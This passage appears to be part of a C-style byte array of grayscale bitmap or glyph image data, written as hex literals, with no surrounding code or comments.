0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0xFF, 0xDC, 0xFF, 0x47, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x9D, 0x05, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0xB1, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99, 0xE3, 0x35,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB3, 0xF5, 0x99, 0xFF, 0x3F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0x4E, 0x00,
0x00, 0x00, 0x00, 0x51, 0x8B, 0x2F, 0xFF, 0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF,
0xCA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0x69, 0x8C, 0xFF, 0x32,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xFF, 0x96,
0x00, 0x00, 0x00, 0x0A, 0xE7, 0xF2, 0x21, 0xFF, 0xFF, 0x57, 0x00, 0x08, 0x08, 0x00, 0x00, 0x4C,
0xFF, 0xFF, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xF9, 0x91, 0x00, 0x98, 0xFF,
0x62, 0x9E, 0xBC, 0xA7, 0x59, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xFF,
0xCF, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xF0, 0x07, 0x11, 0x20, 0x00, 0x00, 0xA1, 0xD0, 0x01, 0x00,
0x01, 0xD1, 0xFF, 0x55, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xB8, 0x3C, 0x0D, 0x58, 0xD3,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCC, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08,
0xFF, 0xF9, 0x02, 0x00, 0x29, 0xF9, 0xFF, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD2, 0xFF, 0x3E,
0x00, 0x00, 0x7A, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x8A, 0xF2, 0xFF,
0xFF, 0xFF, 0xFF, 0xC1, 0x5B, 0x46, 0x45, 0x80, 0x8B, 0x00, 0x00, 0x00, 0x00, 0x2B, 0x00, 0x00,
0x03, 0xFF, 0xFF, 0x13, 0x07, 0xC5, 0xFF, 0xFB, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDE, 0xFF,
0x98, 0x00, 0x00, 0x58, 0xFF, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x01, 0xC7, 0xFF, 0xE9,
0xC0, 0xF2, 0xFF, 0x4D, 0x94, 0xF5, 0xFF, 0xE5, 0x91, 0x05, 0x00, 0x00, 0x0A, 0x73, 0xFF, 0xBE,
0x27, 0x00, 0xFF, 0xFF, 0x1B, 0xB4, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE3,
0xFF, 0xE4, 0x00, 0x00, 0x4D, 0xFF, 0x8B, 0x00, 0x05, 0x0E, 0x00, 0x23, 0xFF, 0x32, 0x9E, 0xE8,
0xD3, 0xEB, 0xFF, 0xF9, 0xB5, 0xF5, 0xAA, 0xC8, 0xFF, 0xFF, 0xB1, 0x06, 0x15, 0xD6, 0xFF, 0xFF,
0xFF, 0xE7, 0x20, 0xFE, 0xFF, 0xC7, 0xFF, 0xFF, 0xC0, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xED, 0xFF, 0xFF, 0x33, 0x00, 0x63, 0xFF, 0x85, 0x07, 0x77, 0xEF, 0x71, 0x21, 0xFF, 0x90, 0xC1,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE4, 0x1F, 0x00, 0x01, 0x5D, 0xFB, 0xFF, 0x4D, 0xAB, 0xFF, 0xFF,
0xE0, 0xD6, 0xFF, 0x98, 0xFF, 0xFF, 0xFF, 0xFF, 0xC2, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xF9, 0xFF, 0xFF, 0x86, 0x00, 0x84, 0xFF, 0x93, 0xDC, 0xFF, 0xFF, 0xFF, 0x8B, 0xEC, 0xFB,
0xFF, 0xFF, 0xD5, 0xA9, 0xFF, 0xF4, 0x2E, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xAB, 0xFF, 0xFF,
0xBA, 0x40, 0x06, 0xD0, 0xEF, 0xFF, 0xFF, 0xFF, 0xE1, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x08, 0xFF, 0xFF, 0xFF, 0xE0, 0x01, 0xB7, 0xFF, 0xFF, 0xFF, 0xFF, 0xDD, 0xE7, 0xFF, 0xF0,
0xFF, 0xFF, 0x9D, 0x01, 0x3A, 0xFF, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xFF,
0xCD, 0x01, 0x00, 0x00, 0x88, 0xFF, 0xFF, 0xFF, 0xF9, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x1A, 0xFF, 0xDC, 0xC4, 0xFF, 0x53, 0xF6, 0xFF, 0xFF, 0xFF, 0xB7, 0x39, 0x12, 0xE5,
0xFF, 0xFF, 0xFF, 0x3C, 0x00, 0x67, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xFF, 0xD8,
0xFF, 0xB9, 0x06, 0x07, 0x4A, 0xEA, 0xFF, 0xFF, 0xFF, 0xFB, 0x88, 0x1C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2C, 0xFF, 0xC6, 0x5C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBA, 0x00, 0x00, 0x00,
0xA2, 0xFF, 0xFF, 0xFC, 0x08, 0x00, 0x99, 0xFC, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF,
0x67, 0xFC, 0xFF, 0xF2, 0xF5, 0xFF, 0xFF, 0xD5, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x93, 0x16, 0x00,
0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xA5, 0x04, 0xE1, 0xFF, 0xFF, 0xBB, 0xFF, 0x9D, 0x01, 0x06,
0x4C, 0xF1, 0xFF, 0xFF, 0xDB, 0x00, 0x00, 0xCC, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0xFF,
0xF0, 0x12, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xBB, 0x31, 0xFF, 0xFF, 0xE8, 0xFF, 0xFF, 0xFF, 0xF2,
0x45, 0x00, 0x00, 0x00, 0x00, 0x57, 0xFF, 0x84, 0x00, 0x6D, 0xFF, 0xFF, 0x60, 0xFF, 0xFF, 0xE7,
0xF3, 0xFF, 0xFF, 0xA6, 0xFD, 0xC9, 0x00, 0x07, 0xF8, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x06, 0xC5,
0xFF, 0x5A, 0x00, 0x00, 0x31, 0x78, 0x4F, 0x25, 0x00, 0x1B, 0xFF, 0xDC, 0x05, 0x5A, 0xD8, 0xFF,
0xFF, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0x59, 0x00, 0x05, 0xCA, 0xFF, 0x1D, 0xBD, 0xFF,
0xFF, 0xFF, 0xFF, 0xBB, 0x0D, 0x8F, 0x42, 0x00, 0x56, 0xED, 0x0A, 0x00, 0x00, 0x00, 0x02, 0xA0,
0xFF, 0x93, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0xFF, 0xC6, 0x00, 0x00, 0x03,
0x5D, 0xCC, 0xFE, 0x1E, 0x00, 0x00, 0x00, 0x7C, 0xF1, 0x0D, 0x00, 0x00, 0x15, 0x91, 0x09, 0x0A,
0x5C, 0x93, 0x50, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x87, 0x00, 0x00, 0x00, 0x2B, 0xC8,
0xFC, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xF7, 0xB1, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x33, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xED, 0x16, 0x00, 0x15, 0x92, 0xFA,
0xC4, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xA6, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x5E, 0x0C, 0x7D, 0xF2, 0xD9,
0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x42,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xE9, 0xEF, 0x67,
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x06, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xA0, 0xFF, 0xBB, 0x19,
0x00, 0x00, 0x00, 0x00, 0x06, 0x21, 0x0C, 0x18, 0x00, 0x00, 0x00, 0x13, 0x1D, 0x00, 0x18, 0x0A,
0x2B, 0xFF, 0xFF, 0x09, 0x15, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB1, 0xFF, 0xD2, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xFF, 0x67, 0x89, 0x63, 0x2D, 0x7D, 0xF7, 0x98, 0x66, 0x84,
0x74, 0x79, 0xFF, 0xFF, 0x2C, 0x75, 0x78, 0x69, 0x2D, 0x5D, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xFF, 0xFF, 0x35,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xF5, 0xFF, 0xD7, 0xC0, 0xD6, 0xD5, 0xFF, 0xE9, 0xB4,
0xE1, 0xFF, 0x2A, 0x8B, 0x7A, 0x00, 0x75, 0xBF, 0xD6, 0xE1, 0xC5, 0x8F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7C, 0xFF, 0xF5,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xA2, 0xA8, 0xAE, 0xE3, 0xB6, 0x97, 0xA6, 0x9D,
0xE3, 0xC2, 0xCB, 0x61, 0x00, 0x00, 0x00, 0x75, 0xBF, 0x68, 0xCC, 0xEE, 0xD1, 0x4E, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF,
0xD7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, 0x09, 0x00, 0x02, 0x02,
0x00, 0x09, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x03, 0x05, 0x02, 0x04, 0x07, 0x02, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42,
0xFF, 0xFC, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x06, 0xEE, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x46, 0xFC, 0xFB, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x64, 0xF7, 0xF8, 0x89, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xA0, 0xE0, 0xF1, 0xBF, 0x4F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x0F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x45, 0x60, 0x70, 0x61, 0x2A, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBA, 0x0E, 0x00, 0x00,
0x00, 0x31, 0xFC, 0xFF, 0xFF, 0xE7, 0xE1, 0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x80, 0xFF,
0xFF, 0x62, 0x00, 0x00, 0x57, 0xFF, 0xFF, 0xAE, 0x00, 0x00, 0x00, 0x3F, 0x73, 0x6F, 0x02, 0x00,
0x00, 0x3C, 0xFF, 0xFF, 0xD2, 0x00, 0x00, 0x00, 0x00, 0x15, 0x70, 0xA7, 0xCB, 0xEF, 0xFF, 0xFF,
0xFF, 0xD2, 0x00, 0x00, 0x00, 0x38, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0xFF, 0xFF, 0xD2, 0x00,
0x00, 0x05, 0xED, 0xFF, 0xFF, 0xC3, 0x54, 0x15, 0x03, 0xFD, 0xFF, 0xD2, 0x00, 0x00, 0x2D, 0xFF,
0xFF, 0xEC, 0x06, 0x00, 0x00, 0x31, 0xFF, 0xFF, 0xD2, 0x00, 0x00, 0x21, 0xFF, 0xFF, 0xF7, 0x32,
0x12, 0x57, 0xD2, 0xFF, 0xFF, 0xE6, 0x1A, 0x00, 0x00, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x1B, 0x00, 0x25, 0xCB, 0xFF, 0xFF, 0xFF, 0xF9, 0x8B, 0x21, 0xEF, 0xFF,
0xFF, 0x1E, 0x00, 0x00, 0x01, 0x20, 0x40, 0x29, 0x04, 0x00, 0x00, 0x07, 0x3F, 0x30, 0x02, 0x00,
0x00, 0x00, 0x00, 0x02, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x39, 0x00, 0x00, 0x00, 0x14,
0xBA, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x17, 0xBF, 0xBC, 0x00, 0x00, 0x35, 0xE1, 0xFF, 0xC3, 0x00,
0x00, 0x00, 0x3B, 0xE5, 0xFF, 0xBC, 0x00, 0x67, 0xF8, 0xFF, 0xFF, 0xC3, 0x00, 0x00, 0x6F, 0xFA,
0xFF, 0xFF, 0xBC, 0x9E, 0xFF, 0xFF, 0xFF, 0xDF, 0x32, 0x01, 0xA7, 0xFF, 0xFF, 0xFF, 0xDB, 0x2E,
0xFA, 0xFF, 0xFF, 0xB4, 0x11, 0x00, 0x05, 0xFF, 0xFF, 0xFF, 0xAD, 0x0E, 0x00, 0xFA, 0xFF, 0xD1,
0x01, 0x00, 0x00, 0x05, 0xFF, 0xFF, 0xC7, 0x00, 0x00, 0x00, 0xFA, 0xFF, 0xFF, 0xAA, 0x0C, 0x00,
0x05, 0xFF, 0xFF, 0xFF, 0xA3, 0x0A, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0xD7, 0x2A, 0x01, 0xB2, 0xFF,
0xFF, 0xFF, 0xD3, 0x26, 0x00, 0x72, 0xFB, 0xFF, 0xFF, 0xC2, 0x00, 0x01, 0x7A, 0xFD, 0xFF, 0xFF,
0xBB, 0x00, 0x00, 0x3E, 0xE7, 0xFF, 0xC3, 0x00, 0x00, 0x00, 0x44, 0xEB, 0xFF, 0xBC, 0x00, 0x00,
0x00, 0x19, 0xC4, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xC8, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x05,
0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x42, 0x05, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A,
0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x09, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x08, 0xAB, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x0A, 0xAB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x0A, 0x13, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24,
0x24, 0x24, 0x48, 0xFF, 0xFF, 0xFF, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x0A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x0A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xFF,
0xFF, 0xFF, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x50, 0x50, 0x4D, 0x01, 0x00, 0x02, 0x0A, 0x13,
0x1C, 0x26, 0x2F, 0x38, 0x41, 0x4A, 0x53, 0x5C, 0x2E, 0x00, 0x00, 0x7C, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x25, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDB, 0x0D, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x1F, 0x22, 0x59, 0x59, 0x59, 0x59, 0x59, 0x59, 0x59,
0x59, 0x59, 0xA5, 0xFF, 0xFF, 0xFE, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x7B, 0xFF, 0xFF, 0xEB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x99, 0xFF, 0xFF, 0xD1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8,
0xFF, 0xFF, 0xB3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF,
0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF4, 0xFF, 0xFF,
0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0xFF, 0xFF, 0xFF, 0x28,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xEC, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFF, 0xFF, 0xA6, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8B, 0xFF, 0xFF, 0xF9, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x12, 0xE8, 0xFF, 0xFF, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0xB2, 0xFF, 0xFF, 0xFF, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x74, 0xFF, 0xFF, 0xFF, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A,
0xFB, 0xFF, 0xFF, 0xFD, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xED, 0xFF,
0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF,
0xCA, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xF6, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x19,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xFC, 0xFF, 0xFF, 0xFF, 0xCD, 0x1C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFD, 0x9C, 0x0A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xAF, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x72, 0x9D, 0xB5, 0xC6,
0xB5, 0x9E, 0x73, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x46, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x4B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xAF, 0xFF, 0xFF, 0xFF, 0xDE, 0xAD,
0x7C, 0x5E, 0x7C, 0xAD, 0xDE, 0xFE, 0xFF, 0xFF, 0xB6, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x1E, 0xD3, 0xFF, 0xFF, 0xCF, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xCD,
0xFF, 0xFF, 0xD9, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xD4, 0xFF, 0xFC, 0x84, 0x05, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x81, 0xFB, 0xFF, 0xDD, 0x13, 0x00, 0x00,
0x00, 0x00, 0xB3, 0xFF, 0xFB, 0x40, 0x00, 0x32, 0x5A, 0x5A, 0x5A, 0x5A, 0x57, 0x46, 0x34, 0x0F,
0x00, 0x00, 0x00, 0x3C, 0xFA, 0xFF, 0xBF, 0x01, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0x83, 0x00, 0x00,
0x9C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x8D, 0x03, 0x00, 0x00, 0x7E, 0xFF, 0xFF,
0x5B, 0x00, 0x00, 0xD4, 0xFF, 0xD0, 0x05, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xB7, 0xA7, 0xB4, 0xD1,
0xFF, 0xFF, 0xFF, 0x9E, 0x00, 0x00, 0x04, 0xCC, 0xFF, 0xDF, 0x04, 0x31, 0xFF, 0xFE, 0x2F, 0x00,
0x00, 0x00, 0x9C, 0xFF, 0xFF, 0x24, 0x00, 0x00, 0x00, 0x2E, 0xED, 0xFF, 0xEF, 0x02, 0x00, 0x00,
0x2B, 0xFD, 0xFF, 0x3F, 0x7D, 0xFF, 0xDB, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0x24, 0x00,
0x00, 0x00, 0x00, 0xAA, 0xFF, 0xFF, 0x29, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0x8B, 0xAD, 0xFF, 0xAB,
0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0x24, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0x1B,
0x00, 0x00, 0x00, 0xA6, 0xFF, 0xBA, 0xC4, 0xFF, 0x7A, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF,
0x24, 0x00, 0x02, 0x1C, 0x7F, 0xFD, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xD2, 0xD7,
0xFF, 0x55, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xED, 0xE5, 0xF8, 0xFF, 0xFF, 0xFF, 0xAB,
0x0F, 0x00, 0x00, 0x00, 0x00, 0x50, 0xFF, 0xDA, 0xC8, 0xFF, 0x73, 0x00, 0x00, 0x00, 0x00, 0x9C,
